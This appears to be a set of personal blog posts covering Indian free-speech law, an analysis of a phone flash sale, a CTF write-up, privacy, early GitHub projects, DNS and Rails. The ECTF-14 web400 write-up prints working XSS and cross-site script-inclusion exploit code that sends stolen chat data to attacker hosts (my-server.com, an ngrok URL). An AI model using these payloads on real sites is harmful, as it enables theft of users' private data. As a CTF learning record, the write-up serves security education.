<p>In the 18 months that passed between these two events, Indians had the right to absolute freedom of speech. I won’t go into the details of why both Nehru and Patel thought of bringing these restrictions (for the better of India), but needless to say, the reasons are no longer valid.</p>
<p>However, I found a curious piece of irony while researching this:</p>
<p>One of the prime opponents to the First Amendment restrictions was <a href="http://www.wikiwand.com/en/Syama_Prasad_Mukherjee">Syama Prasad Mookerjee</a>, a long time RSS activist, founder of the Bharatiya Jana Sangh and widely regarded as the <a href="http://www.shyamaprasad.org/home.html">godfather of Hindu Nationalism</a>.</p>
<p>And now today, 64 years later, these restrictions are getting enacted into even more draconian laws. One such law is Section 66A of the Information Technology Act.</p>
<p>Kapil Sibal, former union minister <a href="http://indiatoday.intoday.in/story/freedom-internet-online-charlie-hebdo-kapil-sibal/1/416011.html">writes about it</a>:</p>
<blockquote>
<p>Allowing the government to regulate the internet is a recipe for disaster. Government being what it is, it would use such power to further its own ends.</p>
</blockquote>
<p>However, he gives in to the diplomatic reasoning and writes further:</p>
<blockquote>
<p>I know where I stand. I am for freedom of expression, but there are no absolutes in life. Limitless freedom contains within it the seeds of conflict. We must eschew conflict and embrace freedom, for peace and harmony.</p>
</blockquote>
<p>Note that back in 2012, Kapil Sibbal had spoken <a href="http://tech.firstpost.com/news-analysis/dear-sibal-here-is-why-section-66a-does-not-protect-women-212326.html">in favor of Section 66A</a>, citing it as a tool to protect women online. He seems to have reversed his stance since.</p>
<p>This is what Tushar Mehta, Additional Solicitor General has to say on the necessity of the act:</p>
<blockquote>
<p>[…] every institution and every person right from the President can be subjected to criticism and it is people’s fundamental right to free speech and expression but such rights do not cover grossly offensive comments and posts on social networking sites.</p>
</blockquote>
<p>AIB recently tested their rights by making a grossly offensive video and posting it on social networking sites. A lot of people were offended. The video was taken down as a result.</p>
<p>Did the people who were offended see the video? Yes, probably on YouTube. But the recordings are still floating around, and are available on torrents very easily.</p>
<p>You see, the internet is a resilient beast. You can’t control it, or bend it to your will. It does not run by your rules, and your sense of sensibility. It has no concept of right or wrong. It just is.</p>
<p>A nation where I am afraid to post critical views of the government or discuss events that might offend someone is not a nation worth living in.</p>
<p>The internet cannot be regulated. You might certainly think of it as possible, but <a href="https://www.eff.org/" title="Electronic Frontier Foundation">we</a> <a href="https://wikileaks.org/" title="Wikileaks">will</a> <a href="https://www.torproject.org/" title="The Tor Project">always</a> <a href="https://thepiratebay.org/" title="The Pirate Bay">find</a> a way.</p>
<blockquote>
<p>If you are offended it is your problem, and frankly lots of things offend lots of people. - <a href="http://www.goodreads.com/quotes/739464-nobody-has-the-right-to-not-be-offended-that-right">Salman Rushdie</a></p>
</blockquote>
<p>I don’t think I will ever see the first amendment repealed in my lifetime. However, I’m gonna try my very best to get the Supreme Court to re-evaluate Section 66A as unconstitional and over-reaching.</p>
<p>If you want to let the government know of your thoughts on the matter, the Assistant Solicitor General (representing the Government in the case) can be reached at <a href="mailto:[email protected]">[email protected]</a>.</p>
<h2 id="further-reading">Further Reading</h2>
<p>This is a loose list of various references and readings on the topic.</p>
<ul>
<li><a href="http://vimeo.com/92778395">A Story of Censorship: How the Right to Take Offense is Shrinking Free Speech in India</a> - A video seminar on the topic by Anuradha Raman, Outlook Magazine</li>
<li><a href="https://en.wikipedia.org/wiki/First_Amendment_of_the_Constitution_of_India">First Amendment</a> of the Constitution of India</li>
<li><a href="http://scroll.in/article/700020/Why-Nehru-and-Sardar-Patel-curbed-freedom-of-expression-in-India">Why Nehru and Sardar Patel curbed freedom of expression in India</a> - A nice summary of the events that lead to the passing of the First Amendment</li>
<li><a href="http://timesofindia.indiatimes.com/india/Bharat-Mata-a-work-of-art-SC/articleshow/3459623.cms">Bharat Mata a work of art</a> - A ruling by the Supreme Court declaring the topmost image in this post as a work of art, and that <em>no one gets scandalized looking at art</em>.</li>
<li><a href="http://www.wikiwand.com/en/Freedom_of_expression_in_India">Restrictions on freedom of speech in India</a></li>
<li><a href="http://www.livemint.com/Opinion/hZBwopyF7MD10C8QHODZEN/Of-writers-and-poets-who-criticize-with-their-pens.html">An excellent piece on abolishing the restrictions on free speech</a> titled <em>Of writers and poets who criticize with their pens</em> (Rajeev Mantri)</li>
<li>A few pieces on the ongoing panel: <a href="http://indiatoday.intoday.in/story/objectionable-social-media-posts-cyberspace-modi-government-supreme-court-facebook-twitter-freedom-of-expression/1/416800.html">India Today</a>, <a href="http://indianexpress.com/article/india/india-others/sc-on-it-act-will-examine-section-66a-as-it-stands/">Indian Express</a>, <a href="http://www.firstpost.com/living/who-defines-grossly-offensive-sc-raises-red-flags-over-draconian-sec-66a-of-it-act-2079081.html">Firstpost’s Summary</a></li>
</ul>
<hr />
<p>Thanks to <a href="https://shashankmehta.in/">Shashank Mehta</a> and <a href="https://rkravi.com/">Ravi Kishore</a> for reviewing drafts of this.</p>
Are you a fighter pilot?2015-01-28T00:00:00+00:00https://captnemo.in/blog/2015/01/28/are-you-a-fighter-pilot<p>As part of a pre job interview for a position as a security consultant, I was asked this question. The interviewer expanded the question further as :</p>
<blockquote>
<p>Given the choice between a luxurious journey in a passenger jetliner (flying business class) and a thrilling trip as a fighter pilot, which one would you choose?</p>
</blockquote>
<p>My immediate reply was (without a single doubt): “I’ll take the fighter jet, thanks.”</p>
<p>Then the interviewer tried to dissuade me from my choice: “Its not as glamorous as it sounds. Its a terrible job flying a jet plane. There are lots of complications, you are literally defying death, and even the pay isn’t that good.”. He then spent quite some time explaining the luxuries and comforts that we take for granted in a passenger jet, and those that aren’t available in a fighter jet. “You can’t even piss properly”, he told me. “And there’s free booze on the Boeing.”</p>
<p>Me (after some deliberation and moment of self-doubt): I’d ultimately like to have my own private jet, but I’m willing to strap myself to a 300 million dollar plane just trying to get there. I’d take that over a passenger jet any day.</p>
<p>For those who didn’t get the analogy: He was trying to convince me to join a high risk job, where I’d be working late nights doing what I love. But it also means giving up tons of luxuries and comforts that I could get at other companies.</p>
<p>I’m sure that I’m the fighter jet kind of person, I’m just having difficulty deciding what jet I wanna fly. If you have an opening for a Full Stack Developer/Security Consultant, shoot me a mail.</p>
Yu were mislead2015-01-13T00:00:00+00:00https://captnemo.in/blog/2015/01/13/yu-yureka<p>I was eagerly awaiting the release of Yu Yureka, which has been widely hailed as a great budget phone by most reviews. I won’t go into the details of the phone, but rather the flash sale that took place on 13th Jan ‘15 (on amazon.in). Far from being a well-managed affair, the website was plagued with issues, and went down for everyone a couple of minutes before the sale.</p>
<p>Still, a few lucky people were able to buy the phone (sadly, I wasn’t one of them). Micromax said that they had to close registrations for the sale early and had around 3 lakh people lined up for the sale.</p>
<p>This is how the <a href="https://web.archive.org/web/20150122020319/http://yuplaygod.com/">yuplaygod.com</a> homepage looks right now:</p>
<p><img src="/img/yuplaygod.jpg" alt="YuPlayGod.com Home Page" /></p>
<p>Clearly, they had 10k units for sale, and one in every 300 people should have bought it, right? Wrong!</p>
<p>It seems Yu (the brand new subsidiary of Micromax) is not above lying. There were <em>only 3000 devices on sale today, out of which only 2657 were claimed</em>, after which the sale was shut down.</p>
<p>How do I know this? The way deals work on amazon is once you are on a deal page, the client keeps checking the deal status every few seconds so as to let you know as soon as its status changes. This deal status response does not only include the deal status code (say EXPIRED/SOLDOUT/AVAILABLE), but also includes the deal’s nitty details.</p>
<p>These details include:</p>
<ul>
<li>totalCouponCount: <strong>3000</strong></li>
<li>claimedCouponCount: <strong>2657</strong></li>
<li>percentClaimed: <strong>88</strong></li>
<li>type: <code class="language-plaintext highlighter-rouge">LIGHTNING_DEAL</code></li>
<li>title: Yureka</li>
<li>dealPrice: 8999</li>
<li>currentPrice: 12999</li>
</ul>
<p>I’m not sure why Yu would try such a tactic (hype the device at low cost, overstate sales figures and then switch to a higher price), but it sure does not sound nice if you are one of the 3 lakh people who lined up to buy the device.</p>
<h2 id="references">References</h2>
<p>Since its my word against amazon, here’s a simple way to confirm the deal details for yourself:</p>
<ol>
<li>Visit <a href="http://hurl.it/">http://hurl.it/</a> (I don’t own this site)</li>
<li>Change the request method to “POST” from “GET”</li>
<li>Enter <code class="language-plaintext highlighter-rouge">http://www.amazon.in/xa/dealcontent/v2/GetDealStatus</code> where it says <code class="language-plaintext highlighter-rouge">yourapihere.com</code></li>
<li>Click on “+ Add Body Button”</li>
<li>Paste <code class="language-plaintext highlighter-rouge">{"requestMetadata":{"marketplaceID":"A21TJRUUN4KGV","clientID":"goldbox"},"dealTargets":[{"dealID":"ea9fef51","itemIDs":null}]}</code> into the box that appears</li>
<li>Click on “Launch Request”</li>
<li>Scroll to the bottom to see the dealStatus</li>
</ol>
<p>As an alternative, <a href="https://gist.github.com/captn3m0/52fca6662e453c60a6b9">here is a permalink</a> to the request.</p>
<p><strong>Update</strong>: If you try to replicate the above steps, you will notice that the deal response is now blank. My guess is that the deal was deleted from the servers. However, the permalinks above should still work. I’m still waiting for any official word from either Yu/Amazon.</p>
<p>Here’s a better (edited) photo that Yu might wanna use:</p>
<p><img src="/img/yuplaygod_edited.jpg" alt="Yu don't play God" /></p>
<p>Thanks to <a href="http://shashankmehta.in/">Shashank Mehta</a> for the title suggestion.</p>
Thank You Pat2015-01-03T00:00:00+00:00https://captnemo.in/blog/2015/01/03/thank-you-pat<p>I’m a lazy reader. I’ll often start books and leave them halfway, often juggling 3-4 books at the same time. I read in sprints, often spending a few days just finishing lots of books followed by reading nothing for the next few weeks, perhaps. But that doesn’t mean I don’t appreciate good books. This is the story of how I found my favorite writer, and how I discovered the wonderful books that I enjoy so deeply.</p>
<p>I don’t write a journal regularly, but if I did, one of my favorite things to do with it is to figure out the little things that matter; to separate out the strands and understand the connections and the motivations behind where I am today</p>
<blockquote>
<p>It is our choices…that show what we truly are, far more than our abilities.</p>
<ul>
<li>Albus Dumbledore</li>
</ul>
</blockquote>
<p>What I love to do is figure out those tiny choices, and the <em>reasoning</em> behind them that led me to today.</p>
<p>I read Patrick Rothfuss’s <a href="https://www.goodreads.com/book/show/186074.The_Name_of_the_Wind" title="The Name of the Wind, by Patrick Rothfuss">“Name of the Wind”</a> a long time back. It was an amazing book, which I found on a site called <a href="http://bestfantasybooks.com/">bestfantasybooks.com</a>. In my defense, I was an avid Harry Potter fan at the time, looking for similar books, and I’d decided that reading the best fantasy would be good preparation before I could write my own.</p>
<p>As it so happens, “Name of the Wind” was a superb book. The kind that made me squirm in delight when I saw that the sequel was already out. So I did what any self-respecting book-lover would do: read it in a single stretch, screwing up my exams in the process. I didn’t sleep much for those few days (its a pretty long book), but I enjoyed every bit of it.</p>
<p>I started following Pat’s (hilarious) <a href="http://blog.patrickrothfuss.com/" title="Pat's blog">blog</a>, where he often posted tidbits of his life, and came across <a href="https://www.goodreads.com/review/show/315662446" title="Patrick's review of The Alloy of Law">his review</a> of “The Alloy of Law” by Brandon Sanderson:</p>
<blockquote>
<p>…<br />
My last point is that Sanderson has now been added to a very short list of authors. Specifically, the list authors whom I wish to kill so that I might eat their livers and thereby gain their power.</p>
</blockquote>
<p>Any author that Patrick wanted to kill sounded like a great one to read, so I started “The Alloy of Law”. I finished the book in a few short hours. Its paced excellently, and the action keeps on coming. I’d never really read much urban fantasy before, and despite me never having read Mistborn (Alloy is a sequel to the Mistborn trilogy) I was sucked in.</p>
<p>And here I am, counting down the next few days, waiting for the release of <a href="https://www.goodreads.com/book/show/15704459.Firefight" title="Firefight, by Brandon Sanderson">Firefight</a>, Sanderson’s next book.</p>
<p>So, thank you Pat. Thanks for introducing me to my favorite writer. Thank you for writing those wonderful books, and keep on reviewing all that you love (I’m reading <a href="https://www.goodreads.com/book/show/18659623-through-the-woods" title="Through the Woods, by Emily Carroll">“Through the Woods”</a> next).</p>
<p>If you are looking for a nice fat book to read next, I heartily recommend <a href="https://www.goodreads.com/book/show/186074.The_Name_of_the_Wind" title="The Name of the Wind, by Patrick Rothfuss">“The Name of the Wind”</a> and <a href="https://www.goodreads.com/book/show/7235533-the-way-of-kings" title="Way of Kings, by Brandon Sanderson">“The Way of Kings”</a>.</p>
ECTF-14 Web400 Writeup2014-10-20T00:00:00+00:00https://captnemo.in/blog/2014/10/20/ectf-web400-writeup<p>We recently participated in <a href="https://github.com/ctfs/write-ups-2014/tree/master/ectf-2014">ECTF-14</a> and it was a great experience. Here’s a writeup to the web400 challenge:</p>
<h3 id="problem-statement">Problem Statement</h3>
<blockquote>
<p>The chat feature was added to Facelook website and to test it, founder of the company had sent a message in chat to the admin. Admin reads all the chat messages, but does not reply to anyone. Try to get that chat message and earn the bounty.
[Annoying Admin]</p>
</blockquote>
<p>The challenge consisted of a simple signup and a chat message sending feature, where anyone could send a chat message to anyone. However, on the loading side, the chat message was loaded using Javascript. The code for loading the messages looked like this:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">load_messages</span> <span class="p">(</span><span class="nx">id</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
<span class="na">url</span><span class="p">:</span> <span class="dl">"</span><span class="s2">http://212.71.235.214:4050/chat</span><span class="dl">"</span><span class="p">,</span>
<span class="na">data</span><span class="p">:</span> <span class="p">{</span>
<span class="na">sender</span><span class="p">:</span> <span class="nx">id</span><span class="p">,</span>
<span class="p">},</span>
<span class="na">success</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span> <span class="nx">response</span> <span class="p">)</span> <span class="p">{</span>
<span class="nb">eval</span><span class="p">(</span><span class="nx">response</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The url above responded as the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$('#chat_234').html('');$('#chat_234').append('dream<br />');
</code></pre></div></div>
<p>Where <code class="language-plaintext highlighter-rouge">dream</code> was the message I sent. My first attempt was to break out of the append function, and execute my own javascript, by trivially using a single quote. Unfortunately, the single quote was escaped and removed by the backend.</p>
<p>Next, I tried using <code class="language-plaintext highlighter-rouge">&#x27;</code> instead of a single quote, and it worked:</p>
<p>Message Sent: <code class="language-plaintext highlighter-rouge">&#x27;+alert(1)+&#x27; </code>
Message received: <code class="language-plaintext highlighter-rouge">$('#chat_234').html('');$('#chat_234').append('dream<br />');$('#chat_234').append(''+alert(1)+'<br />');</code></p>
<p>This seemed simple enough to exploit as XSS, so I quickly wrote up my exploit:</p>
<p>$.get(‘/chat?sender=2’, function(data){
$.post(“http://my-server.com/ectf/index.php”, {content: data});
});</p>
<p>This utilized the fact that we knew Founder’s user id to be <code class="language-plaintext highlighter-rouge">2</code>. The code worked perfectly fine with my test accounts, but something weird happened when the challenge server (admin) ran it. I would get a <code class="language-plaintext highlighter-rouge">GET</code> request on the above mentioned url, instead of a POST. Also attempting to generate the URL using concat or + or any operator such as : <code class="language-plaintext highlighter-rouge">"http://my-server.com/index.php?data="+document.cookie</code> made a request to <code class="language-plaintext highlighter-rouge">http://my-server.com/index.php?data=</code>. Anything I appended was just ignored, plain and simple.</p>
<p>After attempting to get a POST request with cookie or session data for a lot of time, I realized that the problem was not XSS, but rather a CSRF attack. This was because the data was being loaded in a Javascript request, instead of JSON. Javascript request (using a script tag) can be made across domains, which meant that any website could access the data by using the proper script tag. We just had to add a script tag with its src set to <code class="language-plaintext highlighter-rouge">http://212.71.235.214:4050/chat?sender=2</code>. This would automatically add the chat message to a div with id <code class="language-plaintext highlighter-rouge">chat_2</code>.</p>
<p>The only issue was that Admin had to visit our site, with proper cookies, and we know already that admin has been sniffing for links and visiting them. So I wrote up my second (this time working) exploit:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><!DOCTYPE html></span>
<span class="nt"><html</span> <span class="na">lang=</span><span class="s">"en"</span><span class="nt">></span>
<span class="nt"><head></span>
<span class="nt"><meta</span> <span class="na">charset=</span><span class="s">"utf-8"</span><span class="nt">></span>
<span class="nt"><title></span>ECTF14 web400 exploit<span class="nt"></title></span>
<span class="nt"></head></span>
<span class="nt"><body></span>
<span class="nt"><div</span> <span class="na">id=</span><span class="s">"chat_2"</span><span class="nt">></div></span>
<span class="nt"><div</span> <span class="na">id=</span><span class="s">"chat_106"</span><span class="nt">></div></span>
<span class="nt"><script</span> <span class="na">src=</span><span class="s">"http://code.jquery.com/jquery-1.11.0.min.js"</span><span class="nt">></script></span>
<span class="nt"><script></span>
$(document).ready(function(){
$.getScript("http://212.71.235.214:4050/chat?sender=2");
setTimeout(function(){
var text = $('#chat_2').text();
$.post('http://20c7d53b.ngrok.com/', {content:text});
}, 1000);
})
<span class="nt"></script></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p>Unfortunately, the exploit did not work on Chrome because Chrome refused to run the script as javascript, because it was being served with a mime-type of <code class="language-plaintext highlighter-rouge">text/html</code>. It worked in firefox, and I crossed my fingers as I sent out the link to the above page to admin in a chat message. I knew admin user was using PhantomJS to run my javascript (because of the user-agent in numerous GET requests I got earlier). So, I was hopeful that this would work.</p>
<p>I was listening at the url, and sure enough as soon as I sent a link out to this page, admin ran my javascript and I got the flag in a POST request.</p>
<p>The flag was <code class="language-plaintext highlighter-rouge">bad_js_is_vulnerable</code>.</p>
Living a public life as a privacy advocate2014-08-14T00:00:00+00:00https://captnemo.in/blog/2014/08/14/my-public-life<p>If you’ve known me for a while, you might know me as a privacy conscious individual or perhaps as someone who leads a very public life. The truth is that I lead both these lives; and while that may sound oxymoronic to some, its perfectly clear to me.</p>
<p>I’m a huge privacy advocate. I still remember the day I woke up and read about PRISM first thing in the morning. My reaction was a mix of disbelief, anger, and frustration. In the aftermath of the PRISM reveal, I made a few choices: I would retain ownership of my data, and I’ll do whatever I can to promote tools that help you do this.</p>
<p>I’m still working on both fronts, but the reality of the situation is that we are surrounded by walled gardens. I decided to make the best I could of these gardens. I remember reading a weird suggestion: only post public stuff on facebook; and I was somehow convinced to try it out.</p>
<p>But I took the experiment a step further. If the service is something I can’t control myself (say self-hosted), everything I do with it should be for public-viewing. Since then, I’ve rarely posted anything private on facebook.</p>
<p>Other services where I follow the same advice include:</p>
<ul>
<li><strong><a href="https://goodreads.com/captn3m0" title="My goodreads profile">Goodreads</a></strong> - Whatever I read is public information, along with real-time updates of my reading habits.</li>
<li><strong><a href="http://www.last.fm/user/captn3m0" title="My last.fm profile page">Last.FM</a></strong> - All my music tastes, along with real-time upates on what I’m listening to.</li>
<li><strong><a href="https://facebook.com/capt.n3m0" title="My facebook profile">Facebook</a></strong> - All of my posts on facebook are public. I do have some private messaging interactions on facebook (I never initiate them) and usually move them to email if they grow important.</li>
<li><strong><a href="https://twitter.com/captn3m0" title="My twitter account">Twitter</a></strong> - Tiny byte-sized thoughts and observations are again, public. My account is set to public, which doesn’t mean that I trust twitter with my data. It just means that I expect my data to be public.</li>
<li><strong><a href="https://github.com/captn3m0" title="My github account">GitHub</a></strong> - One of the few companies I trust to keep my data safe. Barring a few exceptions, everything I do on github is public, ready for anyone to analyze and use as public data. In fact, github makes all of its timeline data available to public as a dataset on bigquery.</li>
<li><strong><a href="http://share.xmarks.com/folder/bookmarks/Jy4cCyZzZR" title="My Shared public bookmarks">Bookmarks</a></strong> - Most of my bookmarks are public via xmarks. I haven’t synced it in a while since XMarks and Chrome Sync don’t work well together, but plan to do something about this as well.</li>
</ul>
<p>Along with all this, most of the writing I do these days is for public consumption, either via my Blog, or some platform like <a href="https://www.quora.com/Abhay-Rana" title="My Quora profile">Quora</a>, StackExchange, or Medium.</p>
<h2 id="why">Why</h2>
<p>My reasoning behind keeping all of my online life public is twofold:</p>
<ol>
<li>This creates a public archive of my life, accessible to everyone.</li>
<li>It doesn’t give me an illusion of privacy when there is none.</li>
</ol>
<p>In reference to (1) above, I recently setup Google Inactive Accounts, and have to commend Google on the execution of the concept. Be sure to check it out at <a href="https://www.google.com/settings/account/inactive">https://www.google.com/settings/account/inactive</a>.</p>
<h2 id="disadvantages">Disadvantages</h2>
<p>This lifestyle choice is not without its comebacks. Stalking me, for example, is very easy. So is probably impersonating me as well. However, these are risks I’m willing to take in order to lead a public life.</p>
<h2 id="exceptions">Exceptions</h2>
<p>By now you might be thinking of me as a pro-facebook share-everything kind of guy. But that’s not completely true. I do have clear limits on what counts as public and what does not. I value my privacy (and that of those close to me) very dearly.</p>
<p>For instance, I count my photographs as something very private. I almost never post public updates anywhere with my picture in it. Perhaps its because I never had any phone with decent camera. Whatever the reason, I try really hard to keep my pictures off the internet.</p>
<p>Another related issue is when the update would involve someone beside me. For example, my sister was recently engaged and I didn’t go on a social update spree telling the whole world about it, because I value her privacy.</p>
<p>My simple rule of thumb is to ask for permission, rather than beg for forgiveness as a person’s privacy is far more important.</p>
What was the first project on GitHub?2014-08-02T00:00:00+00:00https://captnemo.in/blog/2014/08/02/first-project-on-github<p><strong>Note</strong>: This is cross-posted from <a href="https://qr.ae/CW76f">Quora</a> where I wrote this answer initially.</p>
<p>The first project on GitHub was <strong>grit</strong>. How do I know this? Just some clever use of the search and API.</p>
<p><a href="https://github.com/search?q=created%3A%3C2008-01-15&type=Repositories&ref=searchresults">Here’s a GitHub search</a> to see the first 10 projects that were created on GitHub. The search uses the <code class="language-plaintext highlighter-rouge">created</code> keyword, and searches for projects created before 15 Jan 2008.</p>
<p>They are (in order of creation) (numeric id of repo in brackets):</p>
<ol>
<li><a href="https://github.com/mojombo/grit">mojombo/grit</a> (1)
<blockquote>
<p>Grit gives you object oriented read/write access to Git repositories via Ruby.
Deprecated in favor of libgit2/rugged</p>
</blockquote>
</li>
<li><a href="https://github.com/wycats/merb-core">wycats/merb-core</a> (26)
<blockquote>
<p>Merb Core: All you need. None you don’t.
Merb was an early ruby framework that was merged to Rails
No longer maintained.</p>
</blockquote>
</li>
<li><a href="https://github.com/rubinius/rubinius">rubinius/rubinius</a> (27)
<blockquote>
<p>Rubinius, the Ruby Environment
Still under active development</p>
</blockquote>
</li>
<li><a href="https://github.com/mojombo/god">mojombo/god</a> (28)
<blockquote>
<p>God is an easy to configure, easy to extend monitoring framework written in Ruby.
Still actively maintained, and use by GitHub internally as well, I think</p>
</blockquote>
</li>
<li><a href="https://github.com/vanpelt/jsawesome">vanpelt/jsawesome</a>(29)
<blockquote>
<p>JSAwesome provides a powerful JSON based DSL for creating interactive forms.
Its last update was in 2008</p>
</blockquote>
</li>
<li><a href="https://github.com/wycats/jspec">wycats/jspec</a> (31)
<blockquote>
<p>A JavaScript BDD Testing Library
No longer maintained</p>
</blockquote>
</li>
<li><a href="https://github.com/defunkt/exception_logger">defunkt/exception_logger</a> (35)
<blockquote>
<p>The Exception Logger logs your Rails exceptions in the database and provides a funky web interface to manage them.
No longer maintained></p>
</blockquote>
</li>
<li><a href="https://github.com/defunkt/ambition">defunkt/ambition</a> (36)</li>
<li><a href="https://github.com/technoweenie/restful-authentication">technoweenie/restful-authentication</a> (42)
<blockquote>
<p>Generates common user authentication code for Rails/Merb, with a full test/unit and rspec suite and optional Acts as State Machine support built-in.Maintained till Aug 2011</p>
</blockquote>
</li>
<li><a href="https://github.com/technoweenie/attachment_fu">technoweenie/attachment_fu</a> (43)
<blockquote>
<p>Treat an ActiveRecord model as a file attachment, storing its patch, size, content type, etc.</p>
</blockquote>
</li>
</ol>
<p>I’m sure the id from 2-25 would be taken up by many of the internal GitHub projects, such as github/github. To get the numeric id of a repo, visit <a href="https://api.github.com/repos/mojombo/grit">https://api.github.com/repos/mojombo/grit</a> and change the URL accordingly.</p>
How does the sdslabs.co.in domain name work?2014-07-27T00:00:00+00:00https://captnemo.in/blog/2014/07/27/how-does-sdslabs-co-in-work<p>A very common asked question is about our domain name and how does it work locally. When we launched <a href="https://blog.sdslabs.co/2010/11/hello-world">filepanda, and our preliminary homepage</a> a long time ago, we had been using the easy to remember IP address <a href="http://192.168.208.208">http://192.168.208.208</a>.</p>
<p>Now, however we are using the domain name sdslabs.co.in for all our services, including <a href="http://dc.sdslabs.co.in">DC</a>. To understand how this works, you will have to understand how the name resolution of a domain name takes place.</p>
<blockquote>
<p>The Domain Name System (DNS) is a hierarchical distributed naming system for computers, services, or any resource connected to the Internet or a private network. It associates various information with domain names assigned to each of the participating entities.</p>
<p>- <a href="http://en.wikipedia.org/wiki/Domain_Name_System">Wikipedia</a></p>
</blockquote>
<p>DNS is basically a service which resolves domain names to IP addresses. If you own a domain name, you can point it to wherever you want. This is usually done in the administration panel of your hosting services. We have setup multiple domains on our nameserver (<a href="http://mitsu.in">mitsu.in</a> as of the moment) to point to the IP address 192.168.208.x.</p>
<p>For instance <a href="http://sdslabs.co.in">sdslabs.co.in</a> points to <code class="language-plaintext highlighter-rouge">192.168.208.208</code>, <a href="http://echo.sdslabs.co.in">echo.sdslabs.co.in</a> points to <code class="language-plaintext highlighter-rouge">192.168.208.204</code> and so on. This is done via updating something called <code class="language-plaintext highlighter-rouge">A records</code> (this is the part of resolution which transaltes to IPv4 addresses).</p>
<p>The benifits of having such a system in place are enormous:</p>
<ul>
<li>Users don’t have to remember IP addresses, and can easily remember the site address.</li>
<li>We can move around services, applications over different machines, and it will only take a single update to change the name resolutions</li>
<li>We could add alternative fallback servers easily (by having multiple A record entries) for a domain. We could even use this to point sdslabs.co.in domain to something that is hosted online, for instance.</li>
<li>We can have catchy, and simple to remember urls for eg <a href="https://sdslabs.co.in/login">https://sdslabs.co.in/login</a>, and <a href="https://sdslabs.co.in/logout">https://sdslabs.co.in/logout</a></li>
</ul>
<p>Also, we are running all our services on https, which <em>is not dependent upon the visibility of the website</em>. Even though the site is hosted locally, the process of certificate signing remains exactly the same as any other site. Once we aquire a SSL certificate and attach it to our web-server, the visibility of the domain does not matter to the browser at all.</p>
<p>Note: For the benifit of those not in IIT Roorkee, we are running multiple web-service on the domain sdslabs.co.in, which is only served locally, as it resolves to a local IP address (192.168.208.208)</p>
<p><strong>Caveat</strong>: Several DNS servers wil block RFC1913 responses by default (basically any DNS response in the private IP ranges). This is usually disabled in the intranet scenarios, but something to keep in mind if you’re looking to use this solution.</p>
Coming back to rails2014-07-11T00:00:00+00:00https://captnemo.in/blog/2014/07/11/back-to-rails<p>I’ve
<a href="/blog/2011/08/01/learning-ruby-on-rails/">worked with rails previously before</a>
, but that was a long time back
and even though I’ve continued to dabble with it,
I’d never built anything complete or large enough with it. This time,
however, I’m working on an actual large-scale application with all the
nuts-and-bolts that make rails such a pleasure to work with. Since
I’m coming back to rails after such a long time, I thought I’d document
some of the cool new features that I’ve found in rails this time around.</p>
<h2 id="spring">Spring</h2>
<p>One of the major discomforts of working with rails on the
command line was that it is <em>heavy</em> and <em>slow</em>. Spring works behind
the scenes on the second issue, namely speed. Here’s how the
project’s README describes itself:</p>
<blockquote>
<p>Spring is a Rails application preloader. It speeds up development
by keeping your application running in the background so you don’t
need to boot it every time you run a test, rake task or migration.</p>
</blockquote>
<p>You can update all the binaries in your <code class="language-plaintext highlighter-rouge">PROJECT_ROOT/bin/</code> directory
(which include <code class="language-plaintext highlighter-rouge">rails</code>, <code class="language-plaintext highlighter-rouge">bundle</code> and <code class="language-plaintext highlighter-rouge">rake</code>) to make use of spring
by executing the following command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bundle exec spring binstub --all
</code></pre></div></div>
<p>Any further execs (such as <code class="language-plaintext highlighter-rouge">./bin/rake -T</code>) will make use of
the spring pre-loader leading to much faster startup times. You can even
use spring against the default system binaries by prefixing the commands
with <code class="language-plaintext highlighter-rouge">spring</code>, such as <code class="language-plaintext highlighter-rouge">spring rake -T</code>.</p>
<h2 id="resque-scheduler">Resque-Scheduler</h2>
<p>I needed a job queue for background tasks and polling API
services, and what better tool to use than resque. I’m using it in combination
with <a href="https://github.com/resque/resque-scheduler">resque-scheduler</a> for
running tasks on cron. How it works is that in addition to your main rails
server and a long running resque job process, a separate resque-scheduler
rake task is kept running, which loads up the schedule and inserts
tasks accordingly into the resque queue as per the schedule.</p>
<p>For those new to resque in general, you can start the two processes by:</p>
<figure class="highlight"><pre><code class="language-sh" data-lang="sh"><span class="nv">QUEUE</span><span class="o">=</span><span class="k">*</span> rake environment resque:work <span class="c">#To start resque</span>
rake resque:scheduler</code></pre></figure>
<p>Note that we are pre-loading the rails environment in the resque:work task as
it will load rails for you across all of your tasks. Also note that you
will need the following two lines in your <code class="language-plaintext highlighter-rouge">Rakefile</code> to get these tasks to run:</p>
<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="nb">require</span> <span class="s1">'resque/tasks'</span>
<span class="nb">require</span> <span class="s1">'resque/scheduler/tasks'</span></code></pre></figure>
<p>Also remember to define the <code class="language-plaintext highlighter-rouge">resque:setup</code> task according to the
<code class="language-plaintext highlighter-rouge">resque-scheduler</code> README, which would load the schedule and config as needed.</p>
<p>This blog post is a work-in-progress and I will continue to update it with
bits of rails-foo as I learn more.</p>
<h2 id="rake-notes">Rake-notes</h2>
<p>I’d never tried using notes before, and as it turns out, using <code class="language-plaintext highlighter-rouge">rake:notes</code>
is easy and super-awesome. Its allows you to spread your notes about TODOs, FIXMEs and such throughout your codebase and take a bird-eye’s look at them with just a single command.</p>
<p>Read more about it at <a href="http://siong1987.com/posts/powerful-and-hidden-rake-notes-in-rails/">http://siong1987.com/posts/powerful-and-hidden-rake-notes-in-rails/</a></p>
A month with the System76 Galago Ultra Pro2014-07-04T00:00:00+00:00https://captnemo.in/blog/2014/07/04/galago-ultra-pro-review<p>With my recent <a href="/blog/2014/06/03/cctc-wave-3/">CCTC Winnings</a>, I decided to purchase a new laptop as my old Dell Inspiron was not performing up to the mark. Being of a time before the Intel i-series launch, it was also severely lacking in several features, most notably virtualization support, which is badly needed these days.</p>
<p>After taking a thorough look at the various offerings in the market (and being disappointed by most of them), I decided to go with the [System Galago Ultra Pro][galago] for the following reasons:</p>
<ul>
